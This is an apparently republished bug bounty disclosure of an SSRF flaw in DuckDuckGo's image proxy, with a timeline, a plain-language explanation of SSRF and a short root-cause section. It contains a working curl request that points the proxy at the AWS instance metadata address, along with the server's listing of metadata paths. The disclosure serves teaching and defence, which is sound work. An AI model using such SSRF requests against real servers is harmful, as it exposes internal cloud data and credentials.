SSRF vulnerability on proxy.duckduckgo.com (access to metadata server on AWS)
The image proxy accepted a user-supplied host and fetched it server-side, so an attacker could make the server request the AWS instance metadata endpoint. The response listed metadata paths, showing internal cloud information could be read.
- Triaged in 22 hours
- Fixed in 31 hours
- Disclosed after 3 months
Hello, I saw that SSRF on proxy.duckduckgo.com is out of scope but because of the severity I wanted to report this. The payload is simple:
curl "https://proxy.duckduckgo.com/iur/?f=1&image_host=http://169.254.169.254/latest/meta-data/"
Response from the server:
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/```
## Impact
access information on internal AWS metadata server.
## Attachments
{{media:0}}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the image proxy took the target host from a request parameter and fetched it without restricting it to public internet addresses.
What the attacker needed
None
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A server-side request forgery (SSRF) happens when a website fetches a URL for you but does not check where that URL points. Here the image proxy could be told to fetch a special internal address that only the server itself can reach, and it returned the cloud server's private details.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.